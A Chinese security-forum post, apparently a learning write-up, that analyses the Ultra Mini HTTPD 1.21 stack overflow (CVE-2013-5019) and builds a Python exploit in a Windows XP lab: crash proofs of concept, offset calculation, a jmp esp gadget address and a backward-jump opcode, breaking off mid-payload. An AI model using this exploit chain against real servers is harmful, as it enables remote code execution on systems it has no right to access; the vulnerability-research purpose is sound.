首页
社区
课程
招聘
[原创]MINI HTTPD 远程代码执行漏洞分析及漏洞利用
发表于: 2024-4-28 09:52 3852

[原创]MINI HTTPD 远程代码执行漏洞分析及漏洞利用

2024-4-28 09:52
3852

MINI HTTPD 远程代码执行漏洞分析

一个老漏洞,看到k0shl师傅早些年分析过但是没有写利用手法,于是复现了一下并构造了exp,并在此之上进行了详尽的分析,对于入门来说的话还是挺有学习意义的。

漏洞说明

Name: Ultra Mini HTTPD Stack Buffer Overflow
Module: exploit/windows/http/ultraminihttp_bof
Source code: modules/exploits/windows/http/ultraminihttp_bof.rb
Disclosure date: 2013-07-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-5019

该模块利用了Ultra Mini HTTPD 1.21中基于堆栈的缓冲区溢出,允许远程攻击者通过HTTP请求中的长资源名执行任意代码。此漏洞必须处理应用程序的请求处理程序线程在60秒后被监视器线程终止的问题。为此,它分配一些RWX内存,将负载复制到它并创建另一个线程。完成后,它终止当前线程,这样它就不会崩溃,从而不会使进程崩溃。

下载地址

下载地址最好使用我提供的链接处下载,操作系统不一致debug结果可能会显示不同。
操作系统:Windows XP Home with Service Pack 3 (x86) - CD Retail (English)
漏洞软件:MINI HTTPD
windbg for windows XP:dbg_x86_6.11.1.404.msi
windows XP 激活码:xp-key
python安装包:Python 3.3.4 Download
pip安装:get-pip.py

测试环境

测试环境:Windows XP Home with Service Pack 3 (x86)
调试软件:windbgIDA pro 8.3(宿主机)/ windbg 6.11(虚拟机)

漏洞复现

此漏洞形成的原因是因为Mini HTTPD服务器在接收请求的URL数据时,会将URL拼接成一个路径去尝试读取文件,当没有读取到文件的时候,会拼接成一个Not Found语句输出,在这个过程中,没有对URL的长度进行严格的检查,从而导致在最后拼接的时候发生栈溢出,导致返回地址覆盖从而执行任意代码,下面对此漏洞进行详细分析。
这个漏洞也可以使用MSF进行直接利用,这里我们使用python poc进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys
import socket
 
# Create the buffer.
buffer = ""
 
for i in range(10):
    buffer += chr(ord('A') + i) * 1000
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /" + buffer + " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req.encode())
 
# Receive data until the socket is closed.
data = b""
while True:
    chunk = s.recv(1024)
    if not chunk:
        break
    data += chunk
 
s.close()
print('Received', repr(data))

下载minihttpd120.lzh后进行解压(与zip或rar类似),点击运行minihttpd.exe就开启web服务了,访问http://localhost可以看到404 Not Found,说明我们程序正常运行:

图片描述

接着运行poc,来打崩服务:

图片描述

可以看到eip=41414141,此刻eip指针已经被覆盖了,我们需要确定一下多长覆盖的eip,使用下面的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys
import socket
 
# Create the buffer.
buffer = ""
 
for i in range(10):
    buffer += chr(ord('A') + i) * 1000
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /" + buffer + " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req.encode())
 
# Receive data until the socket is closed.
data = b""
while True:
    chunk = s.recv(1024)
    if not chunk:
        break
    data += chunk
 
s.close()
print('Received', repr(data))

图片描述

可以看到在F(0x46)处填充就已经crash了:

图片描述

1
2
3
4
5
6
7
8
0:002> g
(964.ba0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7e8aa
eip=46464646 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
46464646 ??              ???

查看当前栈回溯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:003> kb
ChildEBP RetAddr  Args to Child             
WARNING: Frame IP not in any known module. Following frames may be wrong.
00c7dc68 46464646 46464646 46464646 46464646 0x46464646
00c7dc6c 46464646 46464646 46464646 46464646 0x46464646
00c7dc70 46464646 46464646 46464646 46464646 0x46464646
00c7dc74 46464646 46464646 46464646 46464646 0x46464646
00c7dc78 46464646 46464646 46464646 46464646 0x46464646
00c7dc7c 46464646 46464646 46464646 46464646 0x46464646
00c7dc80 46464646 46464646 46464646 46464646 0x46464646
00c7dc84 46464646 46464646 46464646 46464646 0x46464646
00c7dc88 46464646 46464646 46464646 46464646 0x46464646
00c7dc8c 46464646 46464646 46464646 46464646 0x46464646
00c7dc90 46464646 46464646 46464646 46464646 0x46464646
00c7dc94 46464646 46464646 46464646 46464646 0x46464646
00c7dc98 46464646 46464646 46464646 46464646 0x46464646
00c7dc9c 46464646 46464646 46464646 46464646 0x46464646
00c7dca0 46464646 46464646 46464646 46464646 0x46464646
00c7dca4 46464646 46464646 46464646 46464646 0x46464646
00c7dca8 46464646 46464646 46464646 46464646 0x46464646
00c7dcac 46464646 46464646 46464646 46464646 0x46464646
00c7dcb0 46464646 46464646 46464646 46464646 0x46464646
00c7dcb4 46464646 46464646 46464646 46464646 0x46464646

接下我是不断二分法去找什么时候crash的,类似下面的脚本,最后测出在"F"为397时会crash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys
import socket
 
# Create the buffer.
buffer = ""
 
for i in range(5):
    buffer += chr(ord('A') + i) * 1000
 
# 375-400
buffer += "F" * 400
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /" + buffer + " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req.encode())
 
# Receive data until the socket is closed.
data = b""
while True:
    chunk = s.recv(1024)
    if not chunk:
        break
    data += chunk
 
s.close()
print('Received', repr(data))

crash后windbg显示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:002> g
(f48.b18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000c8 ecx=ffffffff edx=00000007 esi=7d58dc91 edi=0000000e
eip=0040260d esp=00c7dc6c ebp=836f09be iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Owner\Desktop\847d772037159c4559bd41a439489ee7-minihttpd120\minihttpd\minihttpd.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Owner\Desktop\847d772037159c4559bd41a439489ee7-minihttpd120\minihttpd\minihttpd.exe
minihttpd+0x260d:
0040260d f2ae            repne scas byte ptr es:[edi]
0:003> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
00c7dc68 00c7e268 00000000 0000009c 00c9ffec minihttpd+0x260d
00c7dc6c 00000000 0000009c 00c9ffec 00a9fbac 0xc7e268
0:003> dd esp
00c7dc6c  00c7e268 00000000 0000009c 00c9ffec
00c7dc7c  00a9fbac 00001527 00000000 00000000
00c7dc8c  0000009c 00000000 ffffffff 0a000a0d
00c7dc9c  00000000 0000007f 00000000 00000000
00c7dcac  00000001 ffffffff 00000000 00000000
00c7dcbc  00000000 00000000 00000000 00000000
00c7dccc  00000000 00000000 00000000 00000000
00c7dcdc  00000000 00000000 00000000 00000000

可以看到eip=0040260d,在IDA中 .text:0040260D repne scasb
repne scasb这条指令在ZF标志位为0的情况下连续执行scasb操作,也就是连续比较AL寄存器的值和内存当前(E)DI指向的字节值,直到两者相等或者检查完了所有的元素。这个指令常常用于在一个字符串中查找特定的字符。

该指令此处被strcat函数进行调用:

图片描述

strcat 是C语言中的一个标准库函数,用于字符串的连接。它的原型如下:

1
char * strcat ( char * destination, const char * source );
  • destination:指向要追加的目标字符串,它应该足够大,能够容纳追加后的结果。
  • source:指向源字符串,这个字符串会被追加到目标字符串destination的末尾。

返回值是一个指向destination的指针。例如:

1
2
3
char dest[20]="Hello";
char src[20]=" World";
strcat(dest, src);

执行完上述代码后,dest字符串变为 "Hello World"。使用strcat时,必须要确保目标字符串destination有足够的空间来容纳追加的内容以及末尾的空字符('\0'),否则可能会导致缓冲区溢出的问题。目前这个函数的安全版本是strncat,可以避免这种问题。

strcat(v119, v114);中有两个参数,其中v114的值使用sprintf传进来的:

图片描述

sprintf(v114, a404NotFound); 中,a404NotFound 是一个字符串,它将被复制到 v114 指向的字符数组中,这个函数并没有触发crash。
画了一个函数调用逻辑图,来让我们更直观的查看触发的逻辑:

![[Pasted image 20240328215311.png]]
程序在接收到数据时会去拼接目标路径并进行打开,如果打开失败就会跳转到失败处理中,在失败处理中,会去执行打印404 not found的操作。
if ( TargetHandle == (HANDLE)-1 ) 这句代码就是在检查 TargetHandle 是否等于错误的 HANDLE 值。如果是,则表明函数调用失败,需要进行错误的处理。
由于文件肯定不存在,所以一定会进入错误处理流程。

图片描述

进入错误处理流程会执行sprintf函数进行格式化字符串,然后执行strcat函数把字符串附加到另一个字符串末尾,因为strcat函数没有对传入参数进行检查,最后导致了缓冲区溢出,任意代码能够执行。

EXP编写

测试环境

测试环境:Windows XP Home with Service Pack 3 (x86)
调试软件:Immunity Debugger(x86)/mona

操作系统及其他工具下载请查看前文

!!注意!!:下面主要使用的是Python2

使用工具

Python 2.7.1

EXP编写

偏移计算

书接上文,查看系统是否开启DEP,当前系统已默认设置为系统服务开启DEP,如果看到开启了所有程序的话就勾选下面的选项,我们先关闭该选项在无DEP下实现exp,再去实现DEP bypass:

图片描述

测试payload(python2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
import socket
 
# Create the buffer.
buffer = "A" * 1000
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 
s.send(req) 
data = s.recv(1024
s.close() 
print 'Received', repr(data)

上篇文章我们使用的是字符串,本文使用的是字节串。
Python3 对应代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
import socket
 
# Create the buffer.
buffer = b"A" * 1000
 
HOST = '127.0.0.1'
PORT = 80
 
req = b"GET /" + buffer + b"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 
s.send(req)
data = s.recv(1024
s.close()
print('Received', repr(data))

使用Immunity Debugger附加mini_httpd进程,运行payload,可以看到正在访问非法区域:

图片描述

这里可以看出我们可以控制EIP,我们使用mona.py插件(这个文件下载后放到python2.7目录下)可以查找覆盖保存的EIP所需要的偏移量,因为EIP是只读寄存器,我们需要覆盖ret的在堆栈中对应的值。
先设置mona,我们可以创建一个1000字节的模板文件用来测试。

在Immunity Debugger中执行下面的指令:

1
2
3
!mona config -set workingfolder c:\logs\%p
!mona config -set workingfolder c:\logs\%p
!mona pc 1000 mona pc 1000

之前的poc我们需要修改,来生成一系列唯一的子字符串组合,用来确定在缓冲区溢出攻击中覆盖了特定内存地址的偏移量。在Immunity Debugger中输入:!mona pattern_create 1000

图片描述

生成的数据会在Immunity Debugger目录的pattern.txt文件中:

图片描述

如果直接从Immunity Debugger中进行复制的话,记得确定一下最后复制出来的长度:

图片描述

我们写一个新的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys
import socket
 
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

一旦执行和程序崩溃,我们使用!mona findmsp来查找进程内存中的模式,并计算构建漏洞所需的偏移量。

图片描述

我们可以在上图中看到,保存的 EIP 在 967 字节后被覆盖,并且:

1
Message=    ESP (0x00c7dc6c) points at offset 971 in normal pattern (length 29)
  • ESP (0x00c7dc6c) 表示栈指针寄存器当前的值或地址。
  • points at offset 971 表示ESP指向了循环模式中的偏移量971。换句话说,当程序崩溃时,位于循环模式中的第971个字节的位置被加载到了ESP寄存器中,ESP寄存器被覆盖。
  • in normal pattern (length 29)

这个29是什么?Immunity Debugger我不怎么会用,直接windbg看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:002> g
(5d0.330): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7e886
eip=67423267 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
67423267 ??              ???
0:003> dd esp
00c7dc6c  34674233 42356742 67423667 38674237
00c7dc7c  42396742 68423068 32684231 54544842
00c7dc8c  2e315c50 41365b31 71413771 39714138
00c7dc9c  41307241 72413172 33724132 41347241
00c7dcac  72413572 37724136 41387241 73413972
00c7dcbc  31734130 41327341 73413373 35734134
00c7dccc  41367341 73413773 39734138 41307441
00c7dcdc  74413174 33744132 41347441 74413574
0:003> dc esp
00c7dc6c  34674233 42356742 67423667 38674237  3Bg4Bg5Bg6Bg7Bg8
00c7dc7c  42396742 68423068 32684231 54544842  Bg9Bh0Bh1Bh2BHTT
00c7dc8c  2e315c50 41365b31 71413771 39714138  P\1.1[6Aq7Aq8Aq9
00c7dc9c  41307241 72413172 33724132 41347241  Ar0Ar1Ar2Ar3Ar4A
00c7dcac  72413572 37724136 41387241 73413972  r5Ar6Ar7Ar8Ar9As
00c7dcbc  31734130 41327341 73413373 35734134  0As1As2As3As4As5
00c7dccc  41367341 73413773 39734138 41307441  As6As7As8As9At0A
00c7dcdc  74413174 33744132 41347441 74413574  t1At2At3At4At5At

下面标记部分为29字节,这也是我们目前的可控范围:

图片描述

该buffer的长度为1500,ESP上则有105字节可控;2000也是105,应该是极限了:
图片描述

1500的寄存器偏移为:

图片描述

下一步是验证偏移量,使用下面的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import socket
 
offset_eip = 967
EIP = 'BBBB'
ESP = 'CCCC'
ESI = 'DDDD'
buffer = 'A' * 225
buffer += ESI
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

运行这个poc,再查看寄存器:

图片描述

图片描述

1
2
3
4
5
6
7
8
9
EAX 00000000
ECX 7C90F641 ntdll.7C90F641
EDX 00000007
EBX 000000C8
ESP 00C7DC6C ASCII "CCCCEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE127.000.000.001  GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0000000E
ESI 00C7DD66 ASCII "DDDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 00C7FF53
EIP 42424242

正如我们所看到的,EIP 等于"42424242"(BBBB);ESP 指向以"CCCC"开头的内存区域,后跟一组 E;ESI 指向包含"DDDD"的内存,后跟一组 A。对于偏移的填充符合我们的预期。

指令构造

操作系统使用的是Windows XP SP3,之前默认开了DEP,我们将这个先关掉。我们构造指令的方法是在EIP覆盖之前将shellcode注入到栈上,然后使用jmp esp的ROP gadget,让指令跳转到shellcode上。
首先,我们需要找到jmp esp:

1
!mona jmp -r esp

生成的结果会在jmp.txt文件中:

图片描述

要构建可靠的漏洞利用,最好在程序本身或者其中一个dll中使用指令,来保证漏洞利用适用于不同的windows版本,minihttpd.exe没有我们需要的gadget,这里我们使用C:\WINDOWS\system32\USER32.dll,地址为0x7e4456f7

1
2
0x7e4456f7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll), 0x0
0x7e455af7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll), 0x0

我们修改之前的poc,将此地址放在 EIP 上(由于Intel架构,需要使用小端序),struct.pack('<I', 0x7e4456f7)这行代码表示的意思是将整数0x7e4456f7按照小端字节序(<表示小端字节序,I表示无符号整形数,占4字节)转换为字节流,并在 ESP 上放置一些断点\xcc让指令跳转到esp后停止,来检测我们是否修改成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import struct
 
offset_eip = 967
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp : USER32.dll
ESP = '\xcc\xcc\xcc\xcc'
buffer = 'A' * offset_eip
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

可以看到中断成功:

图片描述

下一步是将 ESP 指向的向后跳跃的操作码放在内存上。为了获得该操作码,我们将使用Metasm,这是Metasploit-framework中的一个工具。我们知道执行是在 ESP 上,所以缓冲区的开始是 971 字节之前。使用metasm,我们得到 971 字节向后跳转的操作码。

ruby的使用过程中可能出现依赖问题,可以使用rvm来创建独立环境

1
2
3
4
5
6
7
8
9
10
11
computer@ubuntu:~/Desktop$ locate nasm_shell.rb
/opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb
 
# ruby 3.0.5
# gem install pcaprub -v 0.13.1
# gem install packetfu -v 2.0.0
 
┌──(name㉿kali)-[/opt/metasploit-framework/embedded/framework]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb
nasm > jmp $-971
00000000  E930FCFFFF        jmp 0xfffffc35

当前poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import socket
import struct
 
offset_eip = 967
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp : USER32.dll gadget
ESP = '\xe9\x30\xfc\xff\xff' # jmp $-971: 0xE930FCFFFF
shellcode = '\xcc' * 20
buffer = shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
 
# buffer = '\xcc'*20 + 'A'*947 + '0x7e4456f7'(4 bytes) + '\xe9\x30\xfc\xff\xff'(5 bytes) --> 976 bytes
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

接下来使用Immunity Debugger进行调试,在0x7e4456f7下一个断点,来逐步跟踪执行并确定我们跳转的位置。在主界面使用ctrl+G,然后输入0x7e4456f7,F2下断点,接着运行F7(Step into),我这边用windbg查看的,可以看到在没开启DEP的时候我们顺利跳转到栈上执行命令了:

图片描述

图片描述

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:002> g
Breakpoint 0 hit
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=7e4456f7 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
USER32!DeregisterShellHookWindow+0x5437:
7e4456f7 ffe4            jmp     esp {00c7dc6c}
0:003> p
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=00c7dc6c esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
00c7dc6c e930fcffff      jmp     00c7d8a1
0:003> dc 00c7d8a1
00c7d8a1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d8b1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d8c1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d8d1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d8e1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d8f1  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d901  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00c7d911  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0:003> p
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=00c7d8a1 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
00c7d8a1 41              inc     ecx

可以看到,现在我们利用gadget执行esp指向的地址,esp指向的地址已经被我们覆盖为jmp $-971的指令了,所以跳转到一个充满A的区域,但并不是在缓冲区开头,我们用pattern确定一下我们落在了哪里,此处使用msf自带的脚本生成pattern字符串:

1
2
3
┌──(name㉿kali)-[/opt/metasploit-framework/embedded/framework]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 967
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B

修改poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import socket
import struct
 
offset_eip = 967
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp : USER32.dll gadget
ESP = '\xe9\x30\xfc\xff\xff' # jmp $-971: 0xE930FCFFFF
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1